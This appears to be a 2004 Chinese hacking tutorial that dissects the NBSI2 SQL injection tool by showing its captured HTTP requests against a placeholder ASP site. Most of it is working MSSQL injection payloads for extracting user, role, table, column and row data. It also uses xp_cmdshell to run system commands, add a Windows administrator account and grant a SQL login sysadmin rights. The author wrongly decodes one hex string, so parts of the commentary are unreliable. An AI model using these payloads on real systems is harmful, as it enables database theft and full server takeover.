nbsi2内部功能实现大揭谜
前段时间sql注入很流行,用过小竹的nb2的人可能都知道,这个工具接近无敌,菜鸟用了它也能数秒把一个站给黑了,但是不了解其中的注入过程 可以说永远都进步不了吧~~
首先声明,我也只是菜鸟一个,正好最近在研究sql,随便把nb2的注入过程给研究了一个,所用工具wse,相信大家不会陌生的,网上到处有得下,我给一个地址,http://www.gxgl.com/soft/wse06b1.zip,这是一个用来监视和修改网络发送和接收数据的程序,可以用来帮助您调试网络应用程序。
废话少说,开工,先在网上随便找一个有sql注入漏洞得站点www.testdb.net,找到一个注射点:http://www.testdb.net/article_read.asp?id=80
呵呵,www.testdb.net这个网址当然是不存在了。
过程一、取得sql server数据库信息
打开nb2,输入地址:http://www.testdb.net/article_read.asp?id=80,选择"get"方式,点"检测"按钮,
取得sql server数据库得如下信息:
多句执行:未知
子查询:支持
当前用户:test
用户权限:db_owner
当前库:testdb
用过nb2的人应该都很熟悉上面的内容把~~
%20解释为空格 %2b解释为+号,%25解释为%号
http/1.1 200 ok //返回成功
http/1.1 500 internal server error
用wse检测get包信息,如下:
get /article_read.asp?id=80 http/1.1
get /article_read.asp?id=80%20and%20user%2bchar(124)=0 http/1.1
即:article_read.asp?id=80 and user+char(124)=0
char(124)为字符'|'
get /article_read.asp?id=80;declare%[email protected]%20int-- http/1.1
即:article_read.asp?id=80;declare @a int--
//判断是否支持多句查询
get /article_read.asp?id=80%20and%20(select%20count(1)%20from%20[sysobjects])>=0 http/1.1
accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
user-agent: microsoft url control - 6.00.8862
host: www.testdb.net
connection: keep-alive
cache-control: no-cache
cookie: articleid=80%3bdeclare+%40a+int%2d%2d; aspsessionidsstcttqd=ellnneidceeanbmokamgjged
即:article_read.asp?id=80 and (select count(1) from [sysobjects])>=0
//判断是否支持子查询
get /article_read.asp?id=80%20and%20user%2bchar(124)=0 http/1.1
accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
user-agent: microsoft url control - 6.00.8862
host: www.testdb.net
connection: keep-alive
cache-control: no-cache
cookie: articleid=80+and+%28select+count%281%29+from+%5bsysobjects%5d%29%3e%3d0;
aspsessionidsstcttqd=ellnneidceeanbmokamgjged
即:article_read.asp?id=80 and user+char(124)=0
//取得当前用户
user是sqlserver的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将
nvarchar的值转成int型,转的过程中肯定会出错,当然,转的过程中肯定会出错,sqlserver的出错提示是:将nvarchar值 ”east_asp” 转
换数据类型为 int 的列时发生语法错误,呵呵,east_asp正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。and user>0
get /article_read.asp?id=80%20and%20cast(is_srvrolemember(0x730079007300610064006d0069006e00)%20as%20varchar(1))%2bchar(124)
=1 http/1.1
accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
user-agent: microsoft url control - 6.00.8862
host: www.testdb.net
connection: keep-alive
cache-control: no-cache
cookie: articleid=80+and+%28select+count%281%29+from+%5bsysobjects%5d%29%3e%3d0;
aspsessionidsstcttqd=ellnneidceeanbmokamgjged
即:article_read.asp?id=80 and cast(is_srvrolemember(0x730079007300610064006d0069006e00) as varchar(1))+char(124)=1
函数说明:
is_srvrolemember指明当前的用户登录是否是指定的服务器角色的成员。
语法
is_srvrolemember ( 'role' [ , 'login' ] )
参数
'role' 被检查的服务器角色的名称。role 的数据类型为 sysname。
role 有效的值是: sysadmin,dbcreator,diskadmin,processadmin,serveradmin,etupadmin,securityadmin
'login'
将要检查的登录的可选名称。login 的数据类型为 sysname,默认值为 null。如果未指定,那么使用当前用户的登录帐户。
select cast(is_srvrolemember(0x730079007300610064006d0069006e00) as varchar(1))+char(124) 结果为"1|"
get /article_read.asp?id=80%20and%20cast(is_member(0x640062005f006f0077006e0065007200)%20as%20varchar(1))%2bchar(124)=1
http/1.1
accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
user-agent: microsoft url control - 6.00.8862
host: www.testdb.net
connection: keep-alive
cache-control: no-cache
cookie: articleid=80+and+%28select+count%281%29+from+%5bsysobjects%5d%29%3e%3d0;
aspsessionidsstcttqd=ellnneidceeanbmokamgjged
即:article_read.asp?id=80 and cast(is_member(0x640062005f006f0077006e0065007200) as varchar(1))+char(124)=1
select cast(is_member(0x640062005f006f0077006e0065007200) as varchar(1))+char(124) 结果为"1|",和上面得返回结果一样,但注意
is_member里面的那一长字符串和上面的不一样,不知代表什么意思,0x730079007300610064006d0069006e00转化后为"|o|@ e ",本以为
是"sysadmin"类似的字串,但看来不是,算了,不想了,呵呵,但我想,其作用应该是取得当前用户的权限把,如:db_owner
get /article_read.asp?id=80%20and%20db_name()%2bchar(124)=0 http/1.1
accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
user-agent: microsoft url control - 6.00.8862
host: www.testdb.net
connection: keep-alive
cache-control: no-cache
cookie: articleid=80+and+%28select+count%281%29+from+%5bsysobjects%5d%29%3e%3d0;
aspsessionidsstcttqd=ellnneidceeanbmokamgjged
即:article_read.asp?id=80 and db_name()+char(124)=0
这一句,看到有一个db_name()函数,不用多说,大家应该知道了,db_name()是另一个系统变量,返回的是连接的数据库名。
到次,获取sql数据库信息的过程算是分析完毕。
另:post方法不再详细分析,大家可自己看一下,下面是post方法时抓的包,具体同get方法基本一样,主要看最后一行的信息。
其中也用到很多技巧:如下:
id=80%20and%20user%2bchar(124)=0
id=80'%20and%20user%2bchar(124)=0%20and%20''='
id=80%25'%20and%20user%2bchar(124)=0%20and%20'%25'='
id=80%20and%201=1
id=80%20and%201=2
id=80'%20and%201=1%20and%20''='
id=80'%20and%201=2%20and%20''='
id=80%25'%20and%201=1%20and%20'%25'='
id=80%25'%20and%201=2%20and%20'%25'='
//////////////////////////////////////////////
过程二、猜解表名
top1
get /article_read.asp?id=80%20and%20(select%20top%201%20cast(name%20as%20varchar(8000))%20from(select%20top%201%20id,name%
20from%20[testdb]..[sysobjects]%20where%20xtype=char(85)%20order%20by%20id)%20t%20order%20by%20id%20desc)>0 http/1.1
即:article_read.asp?id=80 and (select top 1 cast(name as varchar(8000)) from(select top 1 id,name from
[testdb]..[sysobjects] where xtype=char(85) order by id) t order by id desc)>0
char(85)='u'
作用是取得testdb数据库第一个表的表名,以此类推top n,可以取得其它的表名。
top2
get /article_read.asp?id=80%20and%20(select%20top%201%20cast(name%20as%20varchar(8000))%20from(select%20top%202%20id,name%
20from%20[testdb]..[sysobjects]%20where%20xtype=char(85)%20order%20by%20id)%20t%20order%20by%20id%20desc)>0 http/1.1
...
topn
wse抓获的包信息:
get /article_read.asp?id=80%20and%20(select%20top%201%20cast(name%20as%20varchar(8000))%20from(select%20top%201%20id,name%
20from%20[testdb]..[sysobjects]%20where%20xtype=char(85)%20order%20by%20id)%20t%20order%20by%20id%20desc)>0 http/1.1
accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
user-agent: microsoft url control - 6.00.8862
host: www.testdb.net
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidsstcttqd=ellnneidceeanbmokamgjged; articleid=80+and+%28select+count%281%29+from+%5bsysobjects%5d%29%3e%
3d0
...........
//////////////////////////////////////////////
过程三、根据某个表名猜解列名
表名:article
top1
get /article_read.asp?id=80%20and%20(select%20top%201%20cast(name%20as%20varchar(8000))%20from%20(select%20top%201%
20colid,name%20from%20[testdb]..[syscolumns]%20where%20id%20=%20object_id(nchar(101)%2bnchar(97)%2bnchar(115)%2bnchar(116)%
2bnchar(104)%2bnchar(111)%2bnchar(116)%2bnchar(46)%2bnchar(46)%2bnchar(65)%2bnchar(82)%2bnchar(84)%2bnchar(73)%2bnchar(67)%
2bnchar(76)%2bnchar(69))%20order%20by%20colid)%20t%20order%20by%20colid%20desc)>0 http/1.1
即:article_read.asp?id=80 and (select top 1 cast(name as varchar(8000)) from (select top 1 colid,name from
[testdb]..[syscolumns] where id = object_id(nchar(101)+nchar(97)+nchar(115)+nchar(116)+nchar(104)+nchar(111)+
nchar(116)+nchar(46)+nchar(46)+nchar(65)+nchar(82)+nchar(84)+nchar(73)+nchar(67)+nchar(76)+nchar(69))
order by colid) t order by colid desc)>0
作用是取得article表的第一个列的列名,以此类推top n,可以取得其它的列名。
函数说明:
object_id 返回数据库对象标识号。
语法 object_id ( 'object' )
参数 'object'
要使用的对象。object 的数据类型为 char 或 nchar。如果 object 的数据类型是 char,那么隐性将其转换成 nchar。
返回类型 int
nchar(101)+nchar(97)+nchar(115)+nchar(116)+nchar(104)+nchar(111)+nchar(116)+nchar(46)+
nchar(46)+nchar(65)+nchar(82)+nchar(84)+nchar(73)+nchar(67)+nchar(76)+nchar(69)
对应于字符串 testdb..article
即是:article_read.asp?id=80 and (select top 1 cast(name as varchar(8000)) from (select top 1 colid,name from
[testdb]..[syscolumns] where id = object_id('testdb..article')
order by colid) t order by colid desc)>0
top2
get /article_read.asp?id=80%20and%20(select%20top%201%20cast(name%20as%20varchar(8000))%20from%20(select%20top%202%
20colid,name%20from%20[testdb]..[syscolumns]%20where%20id%20=%20object_id(nchar(101)%2bnchar(97)%2bnchar(115)%2bnchar(116)%
2bnchar(104)%2bnchar(111)%2bnchar(116)%2bnchar(46)%2bnchar(46)%2bnchar(65)%2bnchar(82)%2bnchar(84)%2bnchar(73)%2bnchar(67)%
2bnchar(76)%2bnchar(69))%20order%20by%20colid)%20t%20order%20by%20colid%20desc)>0 http/1.1
topn
...
wse抓获的包信息:
get /article_read.asp?id=80%20and%20(select%20top%201%20cast(name%20as%20varchar(8000))%20from%20(select%20top%201%
20colid,name%20from%20[testdb]..[syscolumns]%20where%20id%20=%20object_id(nchar(101)%2bnchar(97)%2bnchar(115)%2bnchar(116)%
2bnchar(104)%2bnchar(111)%2bnchar(116)%2bnchar(46)%2bnchar(46)%2bnchar(65)%2bnchar(82)%2bnchar(84)%2bnchar(73)%2bnchar(67)%
2bnchar(76)%2bnchar(69))%20order%20by%20colid)%20t%20order%20by%20colid%20desc)>0 http/1.1
accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
user-agent: microsoft url control - 6.00.8862
host: www.testdb.net
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidsstcttqd=ellnneidceeanbmokamgjged; articleid=80+and+%28select+count%281%29+from+%5bsysobjects%5d%29%3e%
3d0
...............
//////////////////////////////////////////////
过程四、根据列名猜解字段内容
字段名:title
top1
get /article_read.asp?id=80%20and%20(select%20top%201%20isnull(cast([title]%20as%20varchar(8000)),char(32))%2bchar(124)%
20from%20(select%20top%201%20[title]%20from%20[testdb]..[article]%20where%201=1%20order%20by%20[title])%20t%20order%20by%20
[title]%20desc)>0 http/1.1
即:article_read.asp?id=80 and (select top 1 isnull(cast([title] as varchar(8000)),char(32))+char(124)
from (select top 1 [title] from [testdb]..[article] where 1=1 order by [title]) t order by [title] desc)>0
作用是取得title字段的第一行记录的值,以此类推top n,可以取得其它行的值。
top2
get /article_read.asp?id=80%20and%20(select%20top%201%20isnull(cast([title]%20as%20varchar(8000)),char(32))%2bchar(124)%
20from%20(select%20top%202%20[title]%20from%20[testdb]..[article]%20where%201=1%20order%20by%20[title])%20t%20order%20by%20
[title]%20desc)>0 http/1.1
topn
...
wse抓获的包信息:
//取得article表的记录数
get /article_read.asp?id=80%20and%20(select%20cast(count(1)%20as%20varchar(8000))%2bchar(124)%20from%20[testdb]..[article]%
20where%201=1)>0 http/1.1
accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
user-agent: microsoft url control - 6.00.8862
host: www.testdb.net
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidsstcttqd=ellnneidceeanbmokamgjged; articleid=80+and+%28select+count%281%29+from+%5bsysobjects%5d%29%3e%
3d0
//取得article表的title字段的第一条记录内容
get /article_read.asp?id=80%20and%20(select%20top%201%20isnull(cast([title]%20as%20varchar(8000)),char(32))%2bchar(124)%
20from%20(select%20top%201%20[title]%20from%20[testdb]..[article]%20where%201=1%20order%20by%20[title])%20t%20order%20by%20
[title]%20desc)>0 http/1.1
accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
user-agent: microsoft url control - 6.00.8862
host: www.testdb.net
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidsstcttqd=ellnneidceeanbmokamgjged; articleid=80+and+%28select+count%281%29+from+%5bsysobjects%5d%29%3e%
3d0
...............
//////////////////////////////////////////////
到此,数据库的表名,字段名及字段内容的分析基本结束,再看一下其它主要功能的分析。
过程五、执行dos命令和执行sql语句
执行dos命令 dir c:/
////////////////////////////////////////////////
回显抓包分析:
get /article_read.asp?id=80%20and%20db_name()%2bchar(124)=0 http/1.1
accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
user-agent: microsoft url control - 6.00.8862
host: www.testdb.net
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidsstcttqd=ellnneidceeanbmokamgjged; articleid=80+and+%28select+count%281%29+from+%5bsysobjects%5d%29%3e%
3d0
get /article_read.asp?id=80;exec%20master..xp_cmdshell%20'dir%20c:/%20>%20c:/nb_commander_txt.log';drop%20table%
20nb_commander_tmp;create%20table%20nb_commander_tmp(resulttxt%20varchar(7996)%20null);bulk%20insert%20[testdb]..
[nb_commander_tmp]%20from%20'c:/nb_commander_txt.log'%20with%20(keepnulls);alter%20table%20nb_commander_tmp%20add%20id%
20int%20not%20null%20identity%20(1,1)-- http/1.1
accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
user-agent: microsoft url control - 6.00.8862
host: www.testdb.net
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidsstcttqd=ellnneidceeanbmokamgjged; articleid=80+and+%28select+count%281%29+from+%5bsysobjects%5d%29%3e%
3d0
主要是这个:
article_read.asp?id=80;exec master..xp_cmdshell 'dir c:/ > c:/nb_commander_txt.log';
drop table nb_commander_tmp;create table nb_commander_tmp(resulttxt varchar(7996) null);
bulk insert [testdb]..[nb_commander_tmp] from 'c:/nb_commander_txt.log' with (keepnulls);
alter table nb_commander_tmp add id int not null identity%20(1,1)--
bulk insert 以用户指定的格式复制一个数据文件至数据库表或视图中。
keepnulls 指定在大容量复制操作中空列应保留一个空值,而不是对插入的列赋予默认值。
具体的详细介绍请查看t-sql语法,有详细说明。
上面语句的功能就是就是将执行dos命令dir c:/的结果保存到一个文件nb_commander_txt.log中,然后将此文件的内容写入到新建的临时表
nb_commander_tmp,并增加一个自增长字段id,相信大家很容易看明白。
id=1
get /article_read.asp?id=80%20and%20(select%20top%201%20case%20when%20resulttxt%20is%20null%20then%20'|'%20else%20resulttxt%
2b'|'%20end%20from%20nb_commander_tmp%20where%20id=1)=0 http/1.1
accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
user-agent: microsoft url control - 6.00.8862
host: www.testdb.net
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidsstcttqd=ellnneidceeanbmokamgjged; articleid=80%3bexec+master%2e%2exp%5fcmdshell+%27dir+c%3a%5c+%3e+c%
3a%5cnb%5fcommander%5ftxt%2elog%27%3bdrop+table+nb%5fcommander%5ftmp%3bcreate+table+nb%5fcommander%5ftmp%
28resulttxt+varchar%287996%29+null%29%3bbulk+insert+%5btestdb%5d%2e%2e%5bnb%5fcommander%5ftmp%5d+from+%27c%3a%5cnb%
5fcommander%5ftxt%2elog%27+with+%28keepnulls%29%3balter+table+nb%5fcommander%5ftmp+add+id+int+not+null+identity+%281%2c1%29%
2d%2d
即:article_read.asp?id=80 and (select top 1 case when resulttxt is null then '|' else resulttxt+'|' end
from nb_commander_tmp where id=1)=0
输入第一条回显结果,以下同,topn输入所有的回显结果。
id=2
get /article_read.asp?id=80%20and%20(select%20top%201%20case%20when%20resulttxt%20is%20null%20then%20'|'%20else%20resulttxt%
2b'|'%20end%20from%20nb_commander_tmp%20where%20id=2)=0 http/1.1
accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
user-agent: microsoft url control - 6.00.8862
host: www.testdb.net
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidsstcttqd=ellnneidceeanbmokamgjged; articleid=80%3bexec+master%2e%2exp%5fcmdshell+%27dir+c%3a%5c+%3e+c%
3a%5cnb%5fcommander%5ftxt%2elog%27%3bdrop+table+nb%5fcommander%5ftmp%3bcreate+table+nb%5fcommander%5ftmp%
28resulttxt+varchar%287996%29+null%29%3bbulk+insert+%5btestdb%5d%2e%2e%5bnb%5fcommander%5ftmp%5d+from+%27c%3a%5cnb%
5fcommander%5ftxt%2elog%27+with+%28keepnulls%29%3balter+table+nb%5fcommander%5ftmp+add+id+int+not+null+identity+%281%2c1%29%
2d%2d
id=n
...............
输出显示:
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
[意外输出]
...
...
...
如果正常没有问题,会输出c:/下所有的文件,出现上面的提示,可能原因是数据表nb_commander_tmp没有创建成功,因此不能正确输出。
////////////////////////////////////////////////
不回显抓包分析:
dos命令 dir c:/
get /article_read.asp?id=80;exec%20master..xp_cmdshell%20'dir%20c:/'-- http/1.1
accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
user-agent: microsoft url control - 6.00.8862
host: www.testdb.net
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidsstcttqd=ellnneidceeanbmokamgjged; articleid=80%3bdrop+table+nb%5fcommander%5ftmp%3bexec+master%2e%2exp%
5fcmdshell+%27del+c%3a%5cnb%5fcommander%5ftxt%2elog%27%2d%2d
即:article_read.asp?id=80;exec master..xp_cmdshell 'dir c:/'--
不需要显示输出结果。
输出显示:
命令执行完成
////////////////////////////////////////////////
dos命令:
net user tsinternetusers password /add
get /article_read.asp?id=80;exec%20master..xp_cmdshell%20'net%20user%20tsinternetusers%20password%20/add'-- http/1.1
accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
user-agent: microsoft url control - 6.00.8862
host: www.testdb.net
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidsstcttqd=ellnneidceeanbmokamgjged; articleid=80%3bexec+master%2e%2exp%5fcmdshell+%27dir+c%3a%5c%27%2d%2d
执行其它dos命令都同上。
id=80;exec master..xp_cmdshell 'net user tsinternetusers password /add'--
id=80;exec master..xp_cmdshell 'net localgroup administrators tsinternetusers /add'--
执行sql命令(同执行dos命令)
get /article_read.asp?id=80;exec%20master..sp_addlogin%20username,password-- http/1.1
accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,*/*
user-agent: microsoft url control - 6.00.8862
host: www.testdb.net
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidsstcttqd=ellnneidceeanbmokamgjged; articleid=80%3bexec+master%2e%2exp%5fcmdshell+%
27net+user+tsinternetusers+password+%2fadd%27%2d%2d
id=80;exec master..sp_addlogin username,password--
id=80;exec master..sp_addsrvrolemember username,sysadmin--
....
////////////////////////////////////////////////
到此,nb2的主要功能分析完毕,其它的功能大家可以自己分析,第一次写这么长的文章,可能很乱,也一定存在不少问题,不过实在没有精力
去逐字修改了,希望大家能看明白。谢谢!
hnxyy(虚空)
2004/11/26 晚 10:30